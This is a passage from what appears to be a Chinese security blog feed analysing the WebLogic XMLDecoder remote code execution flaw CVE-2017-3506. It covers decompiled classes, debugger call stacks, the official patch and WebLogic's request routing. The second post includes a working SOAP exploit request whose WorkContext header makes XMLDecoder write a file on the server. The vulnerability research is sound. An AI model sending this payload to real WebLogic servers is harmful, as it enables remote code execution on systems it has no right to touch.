class="o">---</span><span class="mf">3.2</span> + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">XMLStreamException</span> <span class="n">var7</span><span class="o">)</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">WebServiceException</span><span class="o">(</span><span class="n">var7</span><span class="o">);</span> + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">var8</span><span class="o">)</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">WebServiceException</span><span class="o">(</span><span class="n">var8</span><span class="o">);</span> + <span class="o">}</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 3</em></p> + +<p>3.1处,readHeaderOld会构造一个WorkContextXmlInputAdapter实例,然后调用receive接收这个实例。漏洞点就在这里,注意这个<code class="language-plaintext highlighter-rouge">WorkContextXmlInputAdapter</code>类,这是漏洞的根源,补丁也在这个类里面,以及后续衍变的其他漏洞也跟这个类/补丁有关系。</p> + +<p><code class="language-plaintext highlighter-rouge">WorkContextXmlInputAdapter</code>的构造函数会直接new XMLDecoder,而3.2处的receive会调用到<code class="language-plaintext highlighter-rouge">WorkContextXmlInputAdapter</code>的readUTF,即调用XMLDecoder的readObject,这是典型的xml decoder rce漏洞了。</p> + +<ol> + <li>WorkContextXmlInputAdapter</li> +</ol> + +<p><code class="language-plaintext highlighter-rouge">weblogic/wsee/workarea/WorkContextXmlInputAdapter.class</code></p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">public</span> <span class="kd">final</span> <span class="kd">class</span> <span class="nc">WorkContextXmlInputAdapter</span> <span class="kd">implements</span> <span class="nc">WorkContextInput</span> <span class="o">{</span> + <span class="kd">private</span> <span class="kd">final</span> <span class="nc">XMLDecoder</span> <span class="n">xmlDecoder</span><span class="o">;</span> + + <span class="kd">public</span> <span class="nf">WorkContextXmlInputAdapter</span><span class="o">(</span><span class="nc">InputStream</span> <span class="n">var1</span><span class="o">)</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">XMLDecoder</span><span class="o">(</span><span class="n">var1</span><span class="o">);</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="nf">WorkContextXmlInputAdapter</span><span class="o">(</span><span class="nc">XMLDecoder</span> <span class="n">var1</span><span class="o">)</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span> <span class="o">=</span> <span class="n">var1</span><span class="o">;</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="nc">String</span> <span class="nf">readASCII</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="k">return</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="nc">WorkContext</span> <span class="nf">readContext</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">IOException</span><span class="o">,</span> <span class="nc">ClassNotFoundException</span> <span class="o">{</span> + <span class="o">...</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="kt">void</span> <span class="nf">readFully</span><span class="o">(</span><span class="kt">byte</span><span class="o">[]</span> <span class="n">var1</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="kt">byte</span><span class="o">[]</span> <span class="n">var2</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">[])((</span><span class="kt">byte</span><span class="o">[])</span><span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span><span class="o">.</span><span class="na">readObject</span><span class="o">());</span> + <span class="nc">System</span><span class="o">.</span><span class="na">arraycopy</span><span class="o">(</span><span class="n">var2</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">var1</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">var2</span><span class="o">.</span><span class="na">length</span><span class="o">);</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="kt">void</span> <span class="nf">readFully</span><span class="o">(</span><span class="kt">byte</span><span class="o">[]</span> <span class="n">var1</span><span class="o">,</span> <span class="kt">int</span> <span class="n">var2</span><span class="o">,</span> <span class="kt">int</span> <span class="n">var3</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="kt">byte</span><span class="o">[]</span> <span class="n">var4</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">[])((</span><span class="kt">byte</span><span class="o">[])</span><span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span><span class="o">.</span><span class="na">readObject</span><span class="o">());</span> + <span class="nc">System</span><span class="o">.</span><span class="na">arraycopy</span><span class="o">(</span><span class="n">var4</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">var1</span><span class="o">,</span> <span class="n">var2</span><span class="o">,</span> <span class="n">var3</span><span class="o">);</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="kt">int</span> <span class="nf">skipBytes</span><span class="o">(</span><span class="kt">int</span> <span class="n">var1</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">UnsupportedOperationException</span><span class="o">();</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">readBoolean</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="k">return</span> <span class="o">(</span><span class="nc">Boolean</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="kt">byte</span> <span class="nf">readByte</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="k">return</span> <span class="o">(</span><span class="nc">Byte</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="kt">int</span> <span class="nf">readUnsignedByte</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="k">return</span> <span class="o">(</span><span class="nc">Integer</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="kt">short</span> <span class="nf">readShort</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="k">return</span> <span class="o">(</span><span class="nc">Short</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="kt">int</span> <span class="nf">readUnsignedShort</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="k">return</span> <span class="o">(</span><span class="nc">Integer</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="kt">char</span> <span class="nf">readChar</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="k">return</span> <span class="o">(</span><span class="nc">Character</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="kt">int</span> <span class="nf">readInt</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="k">return</span> <span class="o">(</span><span class="nc">Integer</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="kt">long</span> <span class="nf">readLong</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="k">return</span> <span class="o">(</span><span class="nc">Long</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="kt">float</span> <span class="nf">readFloat</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="k">return</span> <span class="o">(</span><span class="nc">Float</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="kt">double</span> <span class="nf">readDouble</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="k">return</span> <span class="o">(</span><span class="nc">Double</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="nc">String</span> <span class="nf">readLine</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="k">return</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="nc">String</span> <span class="nf">readUTF</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="k">return</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">var0</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span> + <span class="o">...</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 4</em></p> + +<p>可以看到,在我调试的这个版本上,<code class="language-plaintext highlighter-rouge">WorkContextXmlInputAdapter</code>类还未打上补丁,简单粗暴,构造函数里面直接生成<code class="language-plaintext highlighter-rouge">XMLDecoder</code>实例,而下面各种方法直接调用<code class="language-plaintext highlighter-rouge">readObject</code>。</p> + +<p>##0x03 调试</p> + +<p>上一小节描述了漏洞的关键代码,本小节描述一下PoC跑起来的调试信息。</p> + +<p>先看下调用栈:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>processRequest:38, WorkContextServerTube (weblogic.wsee.jaxws.workcontext) +__doRun:866, Fiber (com.sun.xml.ws.api.pipe) +_doRun:815, Fiber (com.sun.xml.ws.api.pipe) +doRun:778, Fiber (com.sun.xml.ws.api.pipe) +runSync:680, Fiber (com.sun.xml.ws.api.pipe) +process:403, WSEndpointImpl$2 (com.sun.xml.ws.server) +handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http) +handle:253, HttpAdapter (com.sun.xml.ws.transport.http) +handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet) +handle:171, WLSServletAdapter (weblogic.wsee.jaxws) +run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws) +doAs:363, AuthenticatedSubject (weblogic.security.acl.internal) +runAs:146, SecurityManager (weblogic.security.service) +authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util) +run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws) +post:336, HttpServletAdapter (weblogic.wsee.jaxws) +doRequest:99, JAXWSServlet (weblogic.wsee.jaxws) +service:99, AbstractAsyncServlet (weblogic.servlet.http) +service:820, HttpServlet (javax.servlet.http) +run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal) +invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal) +execute:301, ServletStubImpl (weblogic.servlet.internal) +execute:184, ServletStubImpl (weblogic.servlet.internal) +wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) +run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) +doAs:321, AuthenticatedSubject (weblogic.security.acl.internal) +runAs:120, SecurityManager (weblogic.security.service) +securedExecute:2273, WebAppServletContext (weblogic.servlet.internal) +execute:2179, WebAppServletContext (weblogic.servlet.internal) +run:1490, ServletRequestImpl (weblogic.servlet.internal) +execute:256, ExecuteThread (weblogic.work) +run:221, ExecuteThread (weblogic.work) +</code></pre></div></div> + +<p>​ <em>信息 5</em></p> + +<p>关于weblogic的请求处理流程,我在另一篇文章中已经介绍过了。</p> + +<p>针对这个请求,响应的是<code class="language-plaintext highlighter-rouge">weblogic.wsee.jaxws.JAXWSWebAppServlet</code>这个servlet的service函数,然后就一路向下走到了processRequest。</p> + +<p><img src="/images/Weblogic/image-20200131112344073.png" alt="image-20200131112344073" /></p> + +<p>​ <em>信息 6</em></p> + +<p>注意栈上没有<code class="language-plaintext highlighter-rouge">JAXWSWebAppServlet</code>的信息:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>doRequest:99, JAXWSServlet (weblogic.wsee.jaxws) +service:99, AbstractAsyncServlet (weblogic.servlet.http) +service:820, HttpServlet (javax.servlet.http) +</code></pre></div></div> + +<p>​ <em>信息 7</em></p> + +<p>这是因为<code class="language-plaintext highlighter-rouge">JAXWSWebAppServlet</code>继承、重载和重写关系造成的,<code class="language-plaintext highlighter-rouge">JAXWSWebAppServlet</code>本身没有实现service方法相关的代码,主要依靠父类的功能代码:</p> + +<p><code class="language-plaintext highlighter-rouge">JAXWSWebAppServlet extends JAXWSDeployedServlet extends JAXWSServlet extends AbstractAsyncServlet extends HttpServlet</code></p> + +<p>​ <em>信息 8</em></p> + +<p>大家有兴趣可以好好看看这个servlet的代码。</p> + +<h2 id="0x04-补丁">0x04 补丁</h2> + +<p>以下是针对CVE-2017-3506官方的补丁。</p> + +<pre><code class="language-Java">public WorkContextXmlInputAdapter(InputStream is) { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + + try { + int next = false; + + for(int next = is.read(); next != -1; next = is.read()) { + baos.write(next); + } + } catch (Exception var4) { + throw new IllegalStateException("Failed to get data from input stream", var4); + } + + this.validate(new ByteArrayInputStream(baos.toByteArray())); + this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray())); +} + +private void validate(InputStream is) { + WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); + + try { + SAXParser parser = factory.newSAXParser(); + parser.parse(is, new DefaultHandler() { + public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { + if (qName.equalsIgnoreCase("object")) { + throw new IllegalStateException("Invalid context type: object"); + } + } + }); + } catch (SAXException | IOException | ParserConfigurationException var5) { + throw new IllegalStateException("Parser Exception", var5); + } +} +</code></pre> + +<p>​ <em>信息 9</em></p> + +<p>补丁中,WorkContextXmlInputAdapter的构造函数新加了一个validate的验证。但是validate的验证非常简单,就是SAX解析XML,看看标签是否有object,若有就退出。</p> + +<p>因为补丁过于简单,很快就出现了CVE-2017-10271。</p> + +<h2 id="0x05-参考">0x05 参考</h2> + +<ol> + <li>“缝缝补补的WebLogic:绕过的艺术” _https://www.freebuf.com/vuls/179579.html</li> + <li>“SAX解析” _https://www.jianshu.com/p/1060abc8ed1e</li> +</ol>XMLDecoder RCE起源: CVE-2017-3506Weblogic请求包路径分析2020-01-24T00:00:00+00:002020-01-24T00:00:00+00:00/2020/01/24/Weblogic%E8%AF%B7%E6%B1%82%E5%8C%85%E8%B7%AF%E5%BE%84%E5%88%86%E6%9E%90<p>#Weblogic请求包路径分析</p> + +<h2 id="0x00-问题描述">0x00 问题描述</h2> + +<p>Weblogic 10.3.6, Post访问:</p> + +<p>http://172.16.100.97:7001/_async/AsyncResponseService</p> + +<pre><code class="language-XML"> &lt;?xml version="1.0" encoding="UTF-8" ?&gt; +&lt;soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" +xmlns:ads="http://www.w3.org/2005/08/addressing" +xmlns:asy="http://www.bea.com/async/AsyncResponseService"&gt; + &lt;soapenv:Header&gt; + &lt;ads:Action&gt;demo&lt;/ads:Action&gt; + &lt;ads:RelatesTo&gt;test&lt;/ads:RelatesTo&gt; + &lt;work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"&gt; + &lt;java version="1.6.0" class="java.beans.XMLDecoder"&gt; + &lt;object class="java.io.PrintWriter"&gt; + &lt;string&gt;servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt&lt;/string&gt; + &lt;void method="println"&gt; + &lt;string&gt;xmldecoder_vul_test4445&lt;/string&gt; + &lt;/void&gt; + &lt;void method="close"/&gt; + &lt;/object&gt; + &lt;/java&gt; + &lt;/work:WorkContext&gt; + &lt;/soapenv:Header&gt; + + &lt;soapenv:Body&gt; + &lt;asy:onAsyncDelivery/&gt; + &lt;/soapenv:Body&gt; +&lt;/soapenv:Envelope&gt; +</code></pre> + +<p>​ <em>信息 1 Post Body</em></p> + +<p>然后在processRequest处下断点,查看路径:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>handleRequest:20, WorkAreaServerHandler (weblogic.wsee.workarea) +handleRequest:141, HandlerIterator (weblogic.wsee.handler) +dispatch:114, ServerDispatcher (weblogic.wsee.ws.dispatch.server) +invoke:80, WsSkel (weblogic.wsee.ws) +handlePost:66, SoapProcessor (weblogic.wsee.server.servlet) +process:44, SoapProcessor (weblogic.wsee.server.servlet) +run:285, BaseWSServlet$AuthorizedInvoke (weblogic.wsee.server.servlet) +service:169, BaseWSServlet (weblogic.wsee.server.servlet) +service:820, HttpServlet (javax.servlet.http) +run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal) +invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal) +execute:301, ServletStubImpl (weblogic.servlet.internal) +execute:184, ServletStubImpl (weblogic.servlet.internal) +wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) +run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) +doAs:321, AuthenticatedSubject (weblogic.security.acl.internal) +runAs:120, SecurityManager (weblogic.security.service) +securedExecute:2273, WebAppServletContext (weblogic.servlet.internal) +execute:2179, WebAppServletContext (weblogic.servlet.internal) +run:1490, ServletRequestImpl (weblogic.servlet.internal) +execute:256, ExecuteThread (weblogic.work) +run:221, ExecuteThread (weblogic.work) +</code></pre></div></div> + +<p>​ <em>信息 2 请求栈</em></p> + +<p>可以看到,路径还是很深的,其中涉及到多个模块。大致的流程是:</p> + +<ol> + <li>有个线程在不停地消费请求</li> + <li>初始化请求的Servlet上下文</li> + <li>由BaseWSServlet的service执行这个请求</li> + <li>BaseWSServlet执行自己的处理逻辑,自重载的service开始执行process到handleRequest</li> +</ol> + +<p>上述还有很多细节,下一小节会详细展开。</p> + +<p>另外还有一个问题,就是步骤1消费的请求是哪来的?当然,是我们的URL请求生成的。为了分析的完整性,还是需要分析一下请求生成的路径。</p> + +<h2 id="0x01-路径分析">0x01 路径分析</h2> + +<h3 id="1-请求生成路径分析">1. 请求生成路径分析</h3> + +<p>接着上图<code class="language-plaintext highlighter-rouge">信息2</code>继续分析,因为栈底的<code class="language-plaintext highlighter-rouge">run:221, ExecuteThread</code>在消费请求,那么我们看看请求是谁喂的。</p> + +<p>先看看<code class="language-plaintext highlighter-rouge">ExecuteThread</code>的代码:</p> + +<pre><code class="language-Java"> public void run() { + ... + + while(true) { + while(true) { + try { + if (this.workEntry != null) { + this.execute(this.workEntry.getWork()); + } + + WorkAdapter var1 = this.workEntry; + this.reset(); + RequestManager.getInstance().registerIdle(this, var1); + var1 = null; + if (this.workEntry == null) { + this.waitForRequest(); + } + } catch (ShutdownError var4) { + ... + } +</code></pre> + +<p>​ <em>信息 3 run</em></p> + +<p>显然,被消费的请求就是<code class="language-plaintext highlighter-rouge">workEntry</code>,且这个线程是死循环在执行任务。</p> + +<p>经过阅读代码和断点调试尝试,找到了丢请求任务的代码:</p> + +<p>来自<code class="language-plaintext highlighter-rouge">weblogic/servlet/internal/MuxableSocketHTTP.class</code></p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">void</span> <span class="nf">resolveServletContext</span><span class="o">(</span><span class="nc">String</span> <span class="n">var1</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> + <span class="nc">ServletContextManager</span> <span class="n">var2</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">httpServer</span><span class="o">.</span><span class="na">getServletContextManager</span><span class="o">();</span> + <span class="nc">ContextVersionManager</span> <span class="n">var3</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span> + <span class="k">if</span> <span class="o">(</span><span class="n">var1</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> + <span class="n">var3</span> <span class="o">=</span> <span class="n">var2</span><span class="o">.</span><span class="na">resolveVersionManagerForURI</span><span class="o">(</span><span class="n">var1</span><span class="o">);</span> <span class="o">------</span><span class="mf">4.1</span> + <span class="o">}</span> + + <span class="k">if</span> <span class="o">(</span><span class="n">var3</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">handleNoContext</span><span class="o">();</span> <span class="o">------</span><span class="mf">4.2</span> + <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> + <span class="nc">WebAppServletContext</span> <span class="n">var4</span><span class="o">;</span> + <span class="k">if</span> <span class="o">(</span><span class="n">var3</span><span class="o">.</span><span class="na">isVersioned</span><span class="o">())</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">request</span><span class="o">.</span><span class="na">initContextManager</span><span class="o">(</span><span class="n">var3</span><span class="o">);</span> + <span class="n">var4</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">request</span><span class="o">.</span><span class="na">getContext</span><span class="o">();</span> + <span class="k">this</span><span class="o">.</span><span class="na">request</span><span class="o">.</span><span class="na">getSessionHelper</span><span class="o">().</span><span class="na">resetSession</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span> + <span class="k">this</span><span class="o">.</span><span class="na">request</span><span class="o">.</span><span class="na">getRequestParameters</span><span class="o">().</span><span class="na">resetQueryParams</span><span class="o">();</span> + <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> + <span class="n">var4</span> <span class="o">=</span> <span class="n">var3</span><span class="o">.</span><span class="na">getContext</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">request</span><span class="o">.</span><span class="na">isAdminChannelRequest</span><span class="o">());</span> + <span class="k">this</span><span class="o">.</span><span class="na">request</span><span class="o">.</span><span class="na">initContext</span><span class="o">(</span><span class="n">var4</span><span class="o">);</span> + <span class="o">}</span> + + <span class="k">this</span><span class="o">.</span><span class="na">response</span><span class="o">.</span><span class="na">initContext</span><span class="o">(</span><span class="n">var4</span><span class="o">);</span> + <span class="k">if</span> <span class="o">(</span><span class="nc">HTTPDebugLogger</span><span class="o">.</span><span class="na">isEnabled</span><span class="o">())</span> <span class="o">{</span> + <span class="nc">HTTPDebugLogger</span><span class="o">.</span><span class="na">debug</span><span class="o">(</span><span class="s">"Servlet Context: "</span> <span class="o">+</span> <span class="n">var4</span> <span class="o">+</span> <span class="s">" is resolved for request: '"</span> <span class="o">+</span> <span class="k">this</span><span class="o">.</span><span class="na">request</span><span class="o">.</span><span class="na">toStringSimple</span><span class="o">()</span> <span class="o">+</span> <span class="s">"'"</span><span class="o">);</span> + <span class="o">}</span> + + <span class="k">if</span> <span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">initAndValidateRequest</span><span class="o">(</span><span class="n">var4</span><span class="o">))</span> <span class="o">{</span> + <span class="nc">WorkManager</span> <span class="n">var5</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">request</span><span class="o">.</span><span class="na">getServletStub</span><span class="o">().</span><span class="na">getWorkManager</span><span class="o">();</span> + <span class="k">if</span> <span class="o">(</span><span class="n">var5</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">AssertionError</span><span class="o">(</span><span class="s">"Could not determine WorkManager for : "</span> <span class="o">+</span> <span class="k">this</span><span class="o">.</span><span class="na">request</span><span class="o">);</span> + <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> + <span class="n">var5</span><span class="o">.</span><span class="na">schedule</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">request</span><span class="o">);</span> <span class="o">------</span><span class="mf">4.3</span> + <span class="o">}</span> + <span class="o">}</span> + <span class="o">}</span> +<span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 4</em></p> + +<p>这个函数很重要,在4.1处根据传入的请求路径找到对应的servlet,然后初始化请求数据包,在4.3处将请求包丢出去消费。</p> + +<p><img src="/images/Weblogic/image-20200130203201302.png" alt="image-20200130203201302" /></p> + +<p>​ <em>信息 5</em></p> + +<p>请求参数就是我们的路径uri: <code class="language-plaintext highlighter-rouge">/_async/AsyncResponseService</code></p> + +<p>根据这个uri,<code class="language-plaintext highlighter-rouge">resolveVersionManagerForURI</code>匹配servlet:</p> + +<p><code class="language-plaintext highlighter-rouge">resolveVersionManagerForURI</code> -&gt; <code class="language-plaintext highlighter-rouge">resolveVersionManagerForURI</code> -&gt; <code class="language-plaintext highlighter-rouge">lookupVersionManager</code>:</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">ContextVersionManager</span> <span class="nf">lookupVersionManager</span><span class="o">(</span><span class="nc">String</span> <span class="n">var1</span><span class="o">)</span> <span class="o">{</span> + <span class="k">return</span> <span class="o">(</span><span class="nc">ContextVersionManager</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">contextTable</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">var1</span><span class="o">);</span> +<span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 6</em></p> + +<p>看看这个contextTable内容是啥?</p> + +<p><img src="/images/Weblogic/image-20200130212409185.png" alt="image-20200130212409185" /></p> + +<p>​ <em>信息 7</em></p> + +<p>里面有我们的<code class="language-plaintext highlighter-rouge">/_async</code>。 展开看下<code class="language-plaintext highlighter-rouge">/_async</code>对应的servlet是哪个?</p> + +<p><img src="/images/Weblogic/image-20200130214009238.png" alt="image-20200130214009238" /></p> + +<p>​ <em>信息 8</em></p> + +<p>可以看到,<code class="language-plaintext highlighter-rouge">/_async</code>下面有多个uri,每个uri有一个servlet映射,比如我们请求url中的<code class="language-plaintext highlighter-rouge">/AsyncResponseService</code>对应的servlet就是<code class="language-plaintext highlighter-rouge">WebappWSServlet</code>。详情见下表:</p> + +<table> + <thead> + <tr> + <th>URI</th> + <th>Servlet</th> + </tr> + </thead> + <tbody> + <tr> + <td>/AsyncResponseServiceSoap12Https</td> + <td>weblogic.wsee.server.servlet.WebappWSServlet</td> + </tr> + <tr> + <td>/AsyncResponseServiceSoap12Jms</td> + <td>weblogic.wsee.server.servlet.WebappWSServlet</td> + </tr> + <tr> + <td>/AsyncResponseServiceSoap12</td> + <td>weblogic.wsee.server.servlet.WebappWSServlet</td> + </tr> + <tr> + <td>/AsyncResponseServiceJms</td> + <td>weblogic.wsee.server.servlet.WebappWSServlet</td> + </tr> + <tr> + <td>AsyncResponseServiceServlethttps</td> + <td>weblogic.wsee.server.servlet.WebappWSServlet</td> + </tr> + <tr> + <td>/AsyncResponseService</td> + <td>weblogic.wsee.server.servlet.WebappWSServlet</td> + </tr> + </tbody> +</table> + +<p>​ <em>信息 9</em></p> + +<p>其实<code class="language-plaintext highlighter-rouge">/_async</code>下面的URI对应的Servlet都是<code class="language-plaintext highlighter-rouge">WebappWSServlet</code>。</p> + +<p>继续执行完<code class="language-plaintext highlighter-rouge">resolveVersionManagerForURI</code>,在<code class="language-plaintext highlighter-rouge">信息 4</code>中,<code class="language-plaintext highlighter-rouge">initAndValidateRequest</code>函数会设置找到的servlet到<code class="language-plaintext highlighter-rouge">request</code>中并丢出去。注意,如果用户提交的url不合法,即找不到app context,在4.2中直接返回404。</p> + +<p>那么,这些个contextTable是哪来的呢?可以看到有一些<code class="language-plaintext highlighter-rouge">registerContext</code>函数,下个断点。重启一下Weblogic docker。</p> + +<p>可以看到<code class="language-plaintext highlighter-rouge">registerContext</code>被调用了:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>registerContext:146, ServletContextManager (weblogic.servlet.internal) +doPostContextInit:437, HttpServer (weblogic.servlet.internal) +loadWebApp:428, HttpServer (weblogic.servlet.internal) +registerWebApp:976, WebAppModule (weblogic.servlet.internal) +prepare:384, WebAppModule (weblogic.servlet.internal) +prepare:176, ScopedModuleDriver (weblogic.application.internal.flow) +prepare:199, ModuleListenerInvoker (weblogic.application.internal.flow) +next:517, DeploymentCallbackFlow$1 (weblogic.application.internal.flow) +nextState:52, StateMachineDriver (weblogic.application.utils) +prepare:159, DeploymentCallbackFlow 